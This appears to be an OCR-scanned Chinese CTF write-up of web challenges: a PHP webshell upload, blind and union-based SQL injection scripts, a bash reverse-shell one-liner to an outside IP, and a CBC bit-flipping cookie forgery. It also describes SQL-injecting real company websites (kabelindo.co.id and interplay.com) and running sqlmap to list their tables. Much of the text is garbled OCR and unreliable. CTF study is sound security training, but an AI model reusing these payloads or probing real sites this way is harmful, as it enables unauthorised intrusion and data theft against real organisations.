“PULECER T AT FF LASMRAE AT 5F
“(EE) BEREFBREEZ
“Inm}” EREnFImik

Vv RET
“[Lpunct]]” ILEAE B s S FF 5

“fi" RERNE R GUR

ZY L
THREZEH2AhER, #REAR. £ ERBBERHER#MNG . REXBMHEH T dirsearch TR, H#ERWT:

| B [ |

request : includes/fckeditor/editor/filemanager/connectors/aspx/
request : includes/fckeditor/editor/filemanager/connectors/php/c
request : includes/fckeditor/editor/filemanager/connectors/php/u
request : includes/fckeditor/editor/filemanager/upload/aspx/uplo
request : includes/fckeditor/editor/filemanager/upload/asp/uploa
request : includes/fckeditor/editor/filemanager/upload/php/uploa

request : jmx-console/HimlAdaptor?action:=inspectMBean&names= jhoss
request : jseripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemana
request : p_/webdau/xmltools/minidom/xml/sax/saxutils/os/popen2?
request : path/dataTables/extras/TableTools/media/swf/2eroClipbo
request : piwigo/extensions/UserCollections/template/ZeroCliphoa

request : plugins/sfSWFUploadPlugin/web/sfSWFUploadPlugin/suf/su
request : plugins/sfSWFUploadPlugin/uweb/sfSWFUploadPlugin/suf/su

request : script/jqueryplugins/dataTables/extras/TableTools/medi
request : scripts/ckeditor/ckfinder/core/connector/asp/connector
request : scripts/ckediter/ckfinder/core/connector/aspx/connecto
request : scripts/ckeditor/ckfinder/core/connector/php/connector
request : servlet/com.ibm.as400ad.webfacing.runtime. httpcontroll
request : seruvlet/com.ibm.servlet.engine.uwebapp.DefaultErrorRepo
request : seruvlet/com.ibm.servlet.engine.uwebapp.SimpleFileSerule

request : seruvlet/com.ibm.servlet.
. o T N



https://www.cnblogs.com/zery/p/3438845.html

E

Findex.phpFirobot.xtF A~ 3L . Vi ilrobot S, N4ABMIIER T resusl.phpX i, Vi, BEIFT RN —ARE:

[ The result

& C ‘ ® 120.24.86.145:8002/web13/resusl.php

Y ﬂ Elements  Consaole ources  MNetwork  Performance  Memory  Application  Security  Audits  EditThisCookie X

<html> | styles Computed Event Listeners

M cbonds o flhands

html Filter :hov “.cls - 4 _

BRI WH R HipHht, &S REAEPH AKERR. IBARER RSB ERZ —xE, T EERRBNERINE
Zradmin, BrUARRE x=admin o CRREXANEEKRSERBELK, G REE. D

[ The result x

& cC ‘ ® 120.24.86.145:8002/web13/resusl.php?x=admin

w ﬂ Elements Console Sources Network Performance Memory  Application  Security  Audits  EditThisCookie x

e T ——
---h«(body bgcolor="#ABABA8"> == 50 2| styles | Computed Event Listeners  »




htmlm |Fi|ter inov! Celd L phag

phpfig & it

3K getshell

BHRE BB RO, TARphpUH, BEGEER BE—NB A, KR ARG, BREFEESIRS S
W, JEHAHEEENE, WLLEEVIR . BTUUBARE, WRASeE SO, MR bE—AN—AEARD (phpX) FIARS R
o BAERT), B LG Eflag (X BB EERphpU AR R4, RE BMESRIIphpsct:, SMATUESD . @di
HMultipart/form-data, Rgeitwaffrel, X BEISEHIE —HEphpiHl4 .

IEHERKBEE... 0T

r - = e —————— T N e — . w ‘ -* g‘
Burp Suite Community Edition v1.7.30 - Temporary Project - ==

Burp Intruder Repeater Window Help

[Targel T Proxy TSpidsr IScanner T Intruder TRepexel I Sequencer T Decoder I Comparer T Extender I Project options T User options TAIer‘ts }

10 = | 11 % |12 = |13 = [ 14 =

Go Cancel | < |v >|v Target: http://120.24.86.145:8002 w [EJ

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML l’ Render }
POST fwebS/index. php HTTPA 1 o HTTP/1.1 200 OK A
Host: 120.24.86.145:8002 T Sewer nginx F
User-Agent: Mozilla/5.0 (Windows NT B.1; WinG4; x64; v56.0) Geckof20100101 Firefox/56.0 Date: Tue, 19 Dec 2017 13:13:16 GMT
Accept: text/html application/xhtml+xml application/xml;q=0.9 */*;¢=0.8 Content-Type: text/html
Accept-Language: zh-CM,zh;q=0.8 en-US;q=0.5en;q=0.3 Connection: close
Accept-Encoding: gzip, deflate Content-Length: 268
Content-Type Mphlpan."fﬂrm—dala, boundary=---—--—-----eee ! 9851348322668
Content-Length: %815 <html>
Referer: http:/120.24.86.145:8002/webS/index. php <hody=
Connection: close <form action="index.php" method="post" enctype="multipart/form-data">
Upgrade-Insecure-Requests: 1 My name is margin,give me a image file not a php<br> W
<hr=>
----------------------------- 9851348322666 <input type="file" name="filz" id="file" />
Content-Disposition: form-data; name="fil2"; filzname="1.php5" <input type="submit" name="submit" value="Submit" />
Content-Type: image/png <fform=

I <?php eval(§_POST['marginT); ?=
............................. 9851348322868 KEY{bh35dc123820e}

- =

L L1
? < + > | | Type a search term 0 matches ? < + > | |Type a search term 0 matches
Done 404 bytes | 66 millis

p——— —— p— —— F—— p— F———— F———

flag.php
B H#RRhint, 23R ?hint=0 , EIEER| TIRE. BEEL, ROBEMPEBRZMS unserialize($cookie) === "$KEY"
Bor Ce=="REMUEAWEMEE, CEABRAUMESE) . It Eikcookield £keyIFFMLEATEL T .

E VRIS EH T HIEH $KEY="ISecer:www.isecer.com' , WM& T XNMERFHRKIRFIIML, ARG cookie IR .. HEERE
BB RAFHERRRS, RIS skey RERER G —PelsehATH, BRI, $key HZRNTER, FFULEENKR
FHd N s:0: "

| C | ® 120.24.86.145:8002/flagphp/ % O %@ ¢




flag{unserialize_by_virink} T ‘ 0 ‘ + ‘ ?) | (= ‘ Q ‘ ~

v 120.24.86.145 | ISecer
W &
.“ s:0:"

@

HE

‘1202486J45 ‘
BEE

/ |
TS ERRESIE]

‘19!12}’2018 10:07 PM ‘

hostOnly session =22 httpOnly

(37rhint, BARARERZZENHABIN.. . JEHISecer, RREMS, WIFIHE—EMOLE Hlsecer....)

e web15
BARBRINSpythonfii A, 4 HEMARISRIFHEE, WTRES BT RAESER, MAEEIpEENBIEHEEPrE. Ef
R B RE T RMERE, FBRIMHEMIEX-FORWARD-FOR.
B, RIBIEENSR. RIBWTF:

import requests
import string

guess = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
url = "http://120.24.86.145:8002/web15/index.php"

def findDatabase():

answer =
for i in range(1,50):
flag = @
for j in guess:
data = "' + (select case when (substring((select database()) from %d for 1))='%s' then slee
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = 4)
except:
flag = 1
answer += j
print(answer)
break
if flag == @:
break

print("HIEELA: " + answer)

if _name__ == '__main__"':
findDatabase() #& &4 4% Hwebls
print("OVER")



RJE K web1s HdE PRI H. RESITF:

def findTableNum():
for i in range(1,50):

data = "' + (select case when (select count(table_name) from information_schema.tables where ta
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = 4)
except:
flag = 1
print(i)
break
print("REIANECH: ")
print(i)

WIERHEPNRE AR, BRANRMAagh KiK. AEWT:

def findTableName():
for i in range(9,2):
answer = "'
for j in range(1,50):
flag = @
for k in guess:

data = "' + (select case when (substring((select table_name from information_schema.tab
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = 4)
except:
flag = 1
answer += k
print(answer)
break
if flag == @:
break

print("®&4AH: " + answer)

BEIR A Aclient_ip. flag. MBATE AL BIlagiXNRFHIFI, B A7k BTN Zat R BATEKlagE T -
K, FIIIEL HoAKBFE. BT



def findColumnNum():
for i in range(1,50):

data = "' + (select case when (select count(column_name) from information_schema.columns where
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = 4)
except:
flag = 1
print(i)
break
print("FIHANECH: ")
print(i)

def findColumnName():
for i in range(0,1):

answer =
for j in range(1,50):
flag = @
for k in guess:
data = "' + (select case when (substring((select column_name from information_schema.co
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = 4)
except:
flag = 1
answer += k
print(answer)
break
if flag == @:
break

print("%)%A: " + answer)

XARFRE A, 514 ANfag. TRt ZEEHweb1583E FE F iflag® FflagF HIE T . BT

def findFlag():

answer =
for i in range(1,50):
flag = @
for j in guess:
data = "' + (select case when (substring((select flag from webl5.flag limit 1 offset @) fro
headers = {"X-FORWARDED-FOR":data}
try:
requests.get(url,headers = headers,timeout = 4)
except:
flag = 1
answer += j
print(answer)
break
if flag == @:
break

print("flagk: " + answer)

BAPATHEBRR: flag{cdbfl4c9551d5be5612f7bb5d2867853}

BASERRARZE, RRBIMER A data EAWE. BERFMIME TR EEANKRE, BEXEH2KsqiErER.
(EM EARZNBHMN T, SBFREGNFEE, R5HEEBRANsqIEARMER. (ERXFEME.. ZHT8EAZMEsql
BH, BRERRRERRBERN. )



1. select case when xxx then yyy eles zzz end

XAMMEBEAREAWIxxx 2R IERH, ERNIATyyy, HRmIITz22.

data® ) and '1'='1 {ERRME TEAvalues('$ip') FHAESS, AMKIE, sqliBAM28 RN, (AT AEEAR I B
XEEHAT 2RI N i ERE SRR RRE W ERRERERE. BERNFIL . KRR RENMRS S LA
sQUENEARME, #HRMEUK, F-SRBEREAIN, RIAUEELZHER, HERR.

. XN ZRBREZREETHARsqUEANRMKEE, BELEE -~ REBARZRS T . H5EHp!

v A W N

XHaE2

EE29EAN

XAEBEA T EAT—ALERMSE (BT AMS2Em~) , HiFERNagsh £ 58 E N BE —NRL T, BRI LAFNIX R
A SqQVEANR. . RIFFERZR T fEcontacts EEFEAN (FAXBEEWURZHAENMT...) , BR...AEHgooleT —TFiX
AP AR BR BRI, BRI T — AN E &5 i Mpayload, MAEUIKRE THEAR. WTF:

G http//www.kabelindo.. x \\ |

& C ‘ & %2 | https//www.google.com/search?ei=uQM6WsWVGoPGvgTEIrCwCA&q=ht... B Y¥¢* O @
ﬁ . .
70 gle http:/f/www.kabelindo.co.id/ sql query _!, Q
All Videos News Images Maps More Settings Tools

About 221 results (0.60 seconds)

hacked by -MR_0p3nx - PT Kabelindo Murni Thk
www.kabelindo.co.id/readnews.php?id... MR_0Op3nx-%3C/h ¥ Translate this page
Keterbukaan Informasi Transaksi AfiliasF-.2016-03-31. Bukti lklan Laporan Keuangan Konsolidasian
Tahunan 31 Desember 2015; 2015-07-31. ti Iklan Laporan Keuangan Konsolidasian 30 Juni 2015;
2014-10-22. HUT Ke-42 Tahun Kabelindo. Kabetindo's 42nd Birthday. Invalid query: You have an error

inyour SQL .

PT Kabelindo Murni Tbhk

https:/imww.kabelindo.co.id/ » Translate this page

PT Kabelindo Mumi Tbk. Wire & Cable Manufacturer, a leading wire & cable industry in Indonesia
traces its roots to the founding of PT Kabel Indonesia (KABELINDO), a foreign-owned company as one

of the first cable manufactures in Indonesia. In 1979, the company ownership was transferred to -
4 »
K@ PT Kabelindo Murni Tt x . w aaes - ‘ ‘ ‘ C=ESNal

& C ‘ @ www .kabelindo.co.id/readnews.php?id=4" ><marquee><h1>ha(ked %20by%20-MR_0p3nx-</h

x| O %

\KABELINDO MURNI Tbk.

Wire and Cable manufacture
KABELINDO

Home About Product Investor

Makin

the Connection

......

Contacts

Report

"The Strategic Bussiness Partner in
o .



U pd ate Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your
MariaDB server version for the right syntax to use near ">

+ 2017-07-31 haCkEd by —MR_0p3nX-

Bukti lklan Laporan Keuangan

Konsolidasian Tahunan 30 Juni
2017

+ 2017-05-05
Keterbukaan Informasi

) L m— | m— S

BHARREM T — TgooleB KX payload & B4 SE BT : P HEH Rl RIBREE, FreAAEmA id=4">
<marquee><hl>hacked%20by%20-MR_@p3nx-</h B}, HFsqliZfi5iR, MEERH LERBREEE, FEAXMSEREST
EfTALEE, FREER(E B A HhtmIbR B U /E R RIS RAE T .. e T B

FRBAE TR, ESIdRBATIEANT

BN id=4 id=4' id=4'%23 , RMRAATE id=4 RASHE. WELEHENMOREREE, BFUERLKsqEES, 4
REA B SEHENG SHEERN (MRS RRR, FREISHEET . AREMRERATIISREEERN, I
BB, FrlfENRsqiBa)HEE MG 5) . MEMIE id=4 union select table_name from
information_schema.tables , IR/RFIFCANRL.. LTI, E#Mipayload’y: id=4 union select 1,2,3,table_name,4
from information_schema.tables , FTUAMIEIEERBHRMEAMEREREF T, WT:

’ P28 5 )
-

| « C lG)www.kabelindo.co.id/readnews.php?id:4%20union%205elect%201,2,3,table_name,4%20from%20¢‘nformation_schema.tables -3 ﬁ‘ 0% : |

-

3

News I

1 tabuser I
2

; |
News

tbnomax
2 |
3 |

XA B HGERIERRIRE. . RRBITIEHN RSN MENBENT, REFEARZEREERMRE, RZATHudKsqiE
NER R — I E R

X R — AN AT I B B AE

B YLK R — AN E R B RAE. . emmmmm.. FRiRX T IF 2 RWAIE XA HEFER R, —EHREERIIBEER A HERX
MNMEH R BED.. RERBKT A4 £admin, RE7EburpsuiteEi T —TF, KRIFEFEE Apong% %88}, AR 2%m
MEJABA—FE. REENKHEPRMN, BIWTLER:

Load URL  hitp://120.24.86.145:9001/sql/
Split URL

@e=f

Execute

[¥] Enable Post data Enable Referrer
Post data admin_name=admin&admin_passwd=pong%%88&submit=G0+GO+GO

XE—THFHNERFTH




FEFtit

BAREATFAER R HIAT! | FHREEE! | ! RIFBEER—HEFEXMREGELE L. B 48 (&
ERAREE BRFERE KRR . R RREBRREHRGEESEE, MBI UE TR RsqUEANBI~REH41E T

admin_name=admin&admin_passwd=aa” union select database(),1#&submit=G0O+G0O+GO

(4R select BFIR IR KA, admin_namefladmin_passwd#BRIEN B, FEE—MEANEATLL. )

EEX
| Welcome To Bugku-sgll x
@)(Dﬁ' 120.24.86.145:9001/591/ g C ||Q1§5§ | st 8 ¥ A& B © O o =~y =
BEnE @ CTF - 23Fa ) UAH=] 2TPH.. @ iTiR @ 120.24.86.145:8002/.. @ Hacking Network Pr... [ BaEas
I INT Y| = & SQL- XSS- Encryption- Encoding- Other-
4 Load URL  http://120.24.86.145:9001/sql/ -
#  split URL +
'j) Execute

[¥] Enable Post data Enable Referrer

Post data admin_name=admin&admin_passwd=aa" union select database(), 1#&submit=GO+G0O+GO

\

XE—1THTFNERFH
SRERistit

Username

/R THEERLFR: bugkusqll .  (X/MLogin Nametd KB T .. . WIFF 45— E LU ALogin Name B B F 4 .. B AKE
2.

Rk EIR AR LT, BIBKAR . LR, SXEER D BiieallE A BT H 2K, s R——EHnavnad 7. B%4&. ARl



YN 1 ZINAZUN IANTENHY L OAA Y TN 9 HY L AAY TPV S A HIE T A Y M SRES L NIV AL SV L MyITTAT Y STASN T I Y HY

F2NMag1, 514 HNflagl.

admin_name=bugkusqll&admin_passwd=bugkusqll"union select flagl,1l from bugkusqll.flagl#&submit=GO+G0O+GO

Welcome To Bugku-sqgll

@J@ﬁ' 120.24.86.145:9001/5q/ 8 c | Qes e 3 A B & O 6

BEinia @ CTF - 8398 [ UERH=] FPH.. @ iR @ 120.24.86.145:8002/... @ Hacking Network Pr...
INT Y| = & SQL- XSS- Encryption- Encoding- Other-

@ Lload URL  http://120.24.86.145:9001/sql/

% split URL

y Execute

[¥] Enable Post data Enable Referrer

Post data admin_name=bugkusqgll&admin_passwd=bugkusqll"union select flagl,1 from bugkusgll.flagl#&submit=GO+GO+GO

XE—THTFHNERFH
SREFRII

PR REA M MEUE BRI R IR R B CEAH B A2 BRI E R K N R A SR, BERIEAR. 7
REEAR —ERNHRETS! 2 )

2K
sqlE A2

wordpress

login2

XAMEE &R shel, 2% T MW ERER.

B R R ER N username=" union select md5(1),md5(1)#&password=1
TEMRS 2 LM nc -1 -p 8080 -vvv

EM B FH# N bash -1 >& /dev/tcp/23.106.128.52/8080 0>&1

A DAE B R #shel BT, EPRTHATHEZER RS .




fLag_c2Rmc2Fncn-MzRzZGZnNDc. txt

index.php

login.php

bash-4.1% vim fLag c2RmcZFncn-MzRzZGZnNDcC. txt
vim flLag_c2Rmc2Fncn-MzRzZGZnNDc. txt

Vim: Warning: Output is not to a terminal
Vim: Warntngt Input sils) noti from @ derminal

Terminal 1y § €0) 12:17AM

ubuntu@VM-66-35-ubuntu: ~
SKCTF{Uni®n @nd cOmM4nD exEc

LibreOfFice Writer

¢ login3
fEusernameHHEIANE S, T, and. unionFHSIRRNZIEEFR, HIHRSSHmEIE T — B2, EF R R
7~“username doesn't exist”. “password error’. REKIARILIN T -



import urllib.request
import requests
import string

import re

url = "http://47.93.190.246:49167/"

guess = string.digits + string.ascii_lowercase

headers = {
'"Host':'47.93.190.246:49167",
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0",
"Accept’:"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded’,
'Content-Length':"'101",
'Referer':"http://47.93.190.246:49167/index.php",
'Cookie' : '"PHPSESSID=k6dm30v64avs3652b1768dr7ve"’,
"Connection':'close’,
'Upgrade-Insecure-Requests':"'1"'

}

answer =

for i in range(1,50):
flag = @
for j in guess:
postuser = "'~(select(ascii(substring((select(password)from(admin))from(%d)))<>%d) ) 1#"%(i,ord(
#asciiR R A 74 RIE R B i F R IIASCT TG {H
#HXAME EH BRI Esubstring(xxx from 1 for 1)in_kforfiEmitnRIEERERHT
#asciitRBUR EI & e, FrAEEA R Esubstringffifor T
data = {'username':postuser, 'password':'admin'}
html = requests.post(url,headers = headers,data = data).text
html = re.findall(r"<p align="'center'>(.*?)</p>",html,re.S)[0]
if 'username does not exist!' in html:
answer += j
flag = 1
print(answer)
break
if flag == @:
break

print("password is" + answer)

MZATHNEANRRFREM, REZHRITAR T unionsiFandiXHER, XBEFAMPIEE T, FUAT » (FEBD . A< XK
REPLEER = , AFESKREPFLEREPZE, RINEERsqiEZ:
'A(select(ascii(substring((select(password)from(admin))from(%d)))<>%d)) 1#
F—AGSRATHEEARSqEF TGS, XEMALTRAIMEST % Kusername A%, BIFER S 28 o P B2 2R I A) F 2«
username=""'A(select(ascii(substring((select(password)from(admin))from(%d)))<>%d)) 1#"

F username="" —ERO, EMHE0RBALE, G1RASEHMK, FURLAXMEAKLEREM
(select(ascii(substring((select(password)from(admin))from(%d)))<>%d))

HISE R R . T2 R ARE X MEQS ROARTIAR. ... (BARE X FRER AR R EB. . R K 2 %
T BRATERITE R 2 J5 H Wi Ak 55 25 X i B2 B AT



JHAR B R RIS I LR, T Askctf123456, Xt /4 Aadminkf M#M, FREEMRATUESflagT .

CBRREIKE T AR A AL, A SRR, BT — YA (R 55 2R, LN R and K —
FOTIRIR.. S TR, BART LR M, RENARTUT, UWRAMSN A LB LE

WEEAN
BEHRER: SFRITET —TRNTRLHAINFZR. REFE, RITEXFIBEMR TEWRSCH /var/test/key_1.php
BIAE, ZAXHEFRGSEEHARTRERIZERKagE.

M LT T IREEA R RE . AR R, SBOCH AT DR R R .

XEH Tload_file(R#, XAMRBHSHTLIRES| S, Ox. charB 5, BAESTHEE T #8355, FreARATRAXEK

Ti, BATEREEISIME /var/test/key_1.php BHANOIERN: 0x2f7661722f746573742f6b65795F312e706870 o FEAH
B BB O A, K Blload_file() &R B IR BHE & A & B F 58, Prllthex(load_file()), XHEHIW LAAF 2]+
ANEFERBHEANET . RERMNMTUBRHAST, HREEXFE/E Apayload 2 ¥ HEEEBK (sqiEa) 2 IEH
B .

XEBENFIAT extravalue() XAEE, BERIERZMEmmIFREGEIEAERZRS.  AABRMERBENFIHEAR

RiILAERERFAFE . BROFATENRES: AERNE-ANASERR EFANHIEE XF /S R ER S . AR
FRXHAE ERERHEMLE ox7e , ibH—@ARMMBERFARE) ERABREZANSH, LKBRATH AT UET R

5 B A8 Z A bk A5 R At 4, R BAIM S F B R 4 .

mA&MEpayloady: (FH%0aflE T4, WATLAHES)

id=1%@aand%0a(extractvalue(1,concat(®x7e,substring(hex(load_file(0x2f7661722f746573742f6b65795312e706870))
%0afrom%0alel¥%ator%0a20),0x7e)))

(extractvalue() BREHIMER 2 RARIRE3200, W XXHFHE—NEFEAFENHRERECRRR T, U R — ki
B, BA substring() SREIXIE204S, EEIE&HERE, RAEBEBREANTZFER, RV SEBEHRERT. )

, s S (i [ ol
JJ [ sQuiltist x W
& (& ‘@103.238.227.13 10088/?id:1%0aand%[)aextractvaIue(l,con(at([)x?e,((hex(load_file(Ox2f7661722f746573742f6b65795f312e706870)))),0xZe)) By O %
e - |
SQLIFENME,
WHRIBETA © Zid=x

| FhIFEE - , 2 BEI2 , WEIS, “unionEF
B A (B2 ) BENNE , BEEERTTHSEY : artestkey_1.php

LENEEE ¢

XPATH syntax error. '~3C3F706870206664736166617366647'

AN

BRAEENERK, RBEK, TRAZNEEES, SHIT. REFEAEHRDZEBTURHARsqEE, TUAS
EE) =

EHR1EAN
XA E A AT SEE2-EANRAEL, RS T RAI—ANEARIMEE, kRNRBIME KRR, AR ZRRET RS MW
ST — ANsqREANBII, RBE T X AMEEAFEN R

htto://www.interpnlav.com/games/supnort.phn?id=42



B Ll et = R ol S L

#)i: http://www.interplay.com/games/support.php?id=42' B3| TFE4LE.

@www.interplay.com{g; %

< C G}W.interplay.com,-’-;a'"“es..-’s_l::-::--::-r't.:_'.-'uz:.;'"iu:!:'—"rz--,:z..-"\ & W o

1064: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near "\' ORDER BY release_date DESC'

at line 1 /

UEE, 515#TTHL FURMNBAEERBAG SRERBITNLE SN JRARKsqiEAIMNZ2EREHEG S
KD o EBRATMAKsqIEARHERIBRT, SERREEE, RITMAARZANRETERE. MZATHPE—H, KK
BRBEEL. KA.

id=42%20and(length(database())<>9)%23 (XEHMAZSH S, LA o k&S, BRAREEKE)

id=42%20and(ascii(substring((select database())from 1))<>105)%23 (H]LE—/ pythonfii4k B3k, 7 CATE
FHARESZ)

id=42%20and%20(ascii(substring((select%20(table_name)%20from%20information_schema.tables%20where%20TABLE_SC
HEMA=0x696€746572706c6179%201imit%201)from%207))<>97)%23 (E AAREEME 515, ATLL TABLE_SCHEMA HtFH -+ Sit %
AT, XRMBITHEES load_file() REFBEBIMNER . FNflagRBIEENE —AREL, FURNMMATEMERL
A

MET . D

BIEELN interplay , 244N banners

2% i fsqimap, FAZ4ELSM LEK KSR B E b —#, RIRMATUBRIER, BENT:

e

Bl C\Windows\system32\cmd.exe - python sglmap.py -r C\Users\acer\Desktop\interplay.txt -p id --table -D interpla...| = | = ‘ﬂhl

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: id=(CASE WHEN (1885:=1885) THEN SLEEP(5) ELSE 1885 END)

web server operating system: Linux Cent0S 6.8
web application technolegy: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MysSQL >= 5.0.12




available databases [2]:
[#¥] information_schema
[*] interplay

[*] shutting down at B09:47:33

BN Ch\Windowshsystem32\cmd.exe | — ||§| ‘&I

try the request(s)

Database: interplay

[13 tables]

e e e e +
banners
banners_banner_id_seq
careers
careers_career_id_seq
downloads
franchises
franchises_franchise_id_seq
news
hews_newWws_id_seq
screenshots
screenshots_screenshot_id_seq
titles
titles_title_id_seq

e e e e +

[*] shutting down at 09:49:26

o TrimiHidA&

login4
B H iR cbcE TR L. 2k, EM ERwiteupiBEK ... (REEBEHE T~ RREE T — T4 RcbcFET
BB, TH#T coo XK % R, a4 LPcbo 7 8 Bt i R 2 .

BETRBITIBHER T .. AME (burp+2i) , RIR A/ indexphp.swpSCAEK) (B W Z X4 FHE) , XH
ERAEVIMIEEF BB KB THEER, BiEEvimbHATvi - filenamefs &7 LURE R 30 4E, B AT L8 Blindex.php 3.
HAp R EBENRLLT:

<?php
define("SECRET_KEY", file_get contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get _random_iv(){
$random_iv="";
for($i=0;%$i<16;%i++){



$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA,
$_SESSION[ 'username'] = $info[ 'username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);

if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64 decode('".base64_encode($plain).

$_SESSION[ 'username'] = $info[ 'username'];
telse{
die("ERROR!");

}

function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
telse{
echo '<p>hello '.$ SESSION[ 'username'].'</p>';
echo '<p>Only admin can see flag</p>";
¥
echo '<p><a href="loginout.php">Log out</a></p>";
¥
if(isset($_POST['username']) && isset($_POST[ 'password’'])){
$username = (string)$ POST['username'];
$password = (string)$ POST[ 'password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
telse{
$info = array('username'=>$username, 'password’'=>$password);
login($info);
show_homepage();
}
telse{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
telse{
/* BRI R htm1 SO, BhAbAE B>/

RBBMEMA fK, FTUECE—MREERF— T EREALIINEER.

$iv);

P18 L username = admiN password = aaaa &3, BEFRINE, ALUEZFREHA cookie

) can't uns



iv = acinHcBLKxqp%2FI889gh2bA%3D%3D
cipher = g8RbtxKHo%2BWjB3HEBZoQxCovn1DsHcq84n%2BNx1oVNO7LCEqn2GL6q5%2Bi836iDTICTPW7JOXRXGAF6QyuWbctcgs3

X FA~cookie B HEAT T urlgbd, FATAT LA A python i) unquote () BRI HRARRY

F4k, HindexphpH FIVRFSERATRT LA 2], urlffrS 2 )5 RIS F 57 5 Rbaseb44mtL ¥, base64fEid)a, ivitRLii Ik
&, cipherftMHIZ% L (X {'username’: 'admiN', 'password’, 'aaaa’'} FUAFHLEHFZRFEME) o X B EBI
M, ZH—T, B—XILXMEE TSRS, ELRBXEN.

AR E B4 5 H X TE 8 E W ?
BEHMHBT (3R if(isset($_POST['username']) && isset($_POST['password'])) F1 else ) .

FE—: XK username BEAT T HIWT, WRR admin MUWARFESR, TR admin LU RH adnin 7 EEFF flag , XA/ M
7R, TE login() "MR{E T $_SESSION["username"] , M¥E show_homepage() " #H T XAMESRAIW, BATEIMEEX—TRE
B ¢ SESSION["username”] , M HHL 2 & IMNEES] flag o

BB RN —FRAWE AR $_SESSION[“username"] , HWIIE, BE7E check_login() HAEHiEElcookieff, A/ MALEE,
%5 ¢_SESSION["username"] WR{H, L% show_homepage() . FEXANTREF, AT LAEEcookieHI{E, FHxLRE
4% $_SESSION["username"] MI{EZadmin, XFEFLFTLAGETTE show_homepage() EREH, EITWAE, &F flag T .

MBMNEBHEERRBEPN cookie H, MMNAEZTHEE, BEZ)E, ATLABE adnin , TARBMNRITERAK admiN

cheF i RFEH T, MR EMEBcbc N MK, BEE—ATXHENTT, SBET -HXITEFHRKRE RN TR
A, KIEBMF KR (164h—4) -

a:2:{s:8:"userna
me";s:5:"admiN";
s:8:"password";s
:4:"aaaa";}

i3 PA ARG AT BAAS 2

<?php
$username = 'admiN';
$password = 'aaaa’;

$info = array('username'=>$username, 'password’'=>$password);

$str = serialize($info);

echo $str;

J/PATER: a:2:{s:8:"username";s:5:"admiN";s:8:"password";s:4:"aaaa";}
?>

BAVERRE _APRIN, BREXRE-APHRREERE r (EBRRMNEZBIE-ANED . TUSETHAE:



Flipped ciphertext bits

Initialization Vector (IV) Ciphertext » Ciphertext Ciphertext
N [TTTT . [TITTIT] [TTTTT]
Block Cipher Block Cipher Block Cipher

Key —=| Decryption Key —+  Decryption Key —= | Decryption

'
EEEEEEEE] [T11 T .
T Plaintext Plaintext ™ Plaintext
Garbled decryption Flipped plaintext bits

Modification attack on CBC

BRHAREMT:  (HIJFMEEpython3H BT, —HIRME.. TR HE, RIERBERERT...D

#! python2
import urllib
import base64

cipher = 'g8RbtxKHo%2BWjB3HEBZoQxCovnlDsHcq84n%2BNx1oVNO7LCEqn2GL6q5%2Bi8I6iDTICTPW7IJOXRXGAF6QyuWbCctcgs
cipher = urllib.unquote(cipher) #urlf#fi5

cipher = base64.b64decode(cipher) #base6Af#hG, L1842 L

ciphernew = cipher[0:13] + chr(ord(cipher[13]) ~ ord('N') ~ ord('n')) + cipher[14:]

HIX B45 H — IR LL BT B A R

#cipher[13] ~ % (cipher[13 + 16]) = 'N' XERIEHWIEN T KRS TR
#cipher[13] ~ 'N' ~ 'n' ~ f#% (cipher[13 + 16]) = 'N'" ~ 'N' ~ 'n’
print urllib.quote(base64.b64encode(ciphernew))

#H G H: g8RbtxKHO%2BWjB3HEBboQXCovn1DsHcq84n%2BNx10VNO7LCEGn2GL6q5%2B1836iDTICTPW7 JOXRXGAF6QyuWECtcgk:
FRITVABR TERERELT, INEXEEZFRTUEARMNEENE _HA T, HREFNHE, HAE—HEL

fREN ERABRNRE iv , XBEYVIRLEEERCEK, ERFE-AFEXCEBRMNBEL T, BREPEFIEFRKE—
AT . FIUBRMEREBEAGEAAE iv . BEABNT:



#! python2
import urllib
import base64

iv = base64.b64decode(urllib.unquote('acinHcBLKxqp%2FI889gh2bA%3D%3D"))
jiamingwen = base64.b64decode(urllib.unquote('iUxB417J08WzUpvaN9tOpW11Ijtz0jU6ImFkbWluIjtz0jg6InBhc3N3b
mingwen = 'a:2:{s:8:"userna’
newiv = "'
for i in range(0,16):

newiv += chr(ord(mingwen[i])”ord(jiamingwen[i])”ord(iv[i]))
print urllib.quote(base64.b64encode(newiv))

#4145 R gb7Ux0XxwucgjGGVpAF sqA%3D%3D
iv ~ % (cipher) = BAX

iv ~ f#% (ciphernew) = fREAXX

iv A~ BB ~ f#% (ciphernew) = @

iv A BB ~ f#9 (ciphernew) ~ Bi3C= B

>

ivnew = iv ~ B ~ B
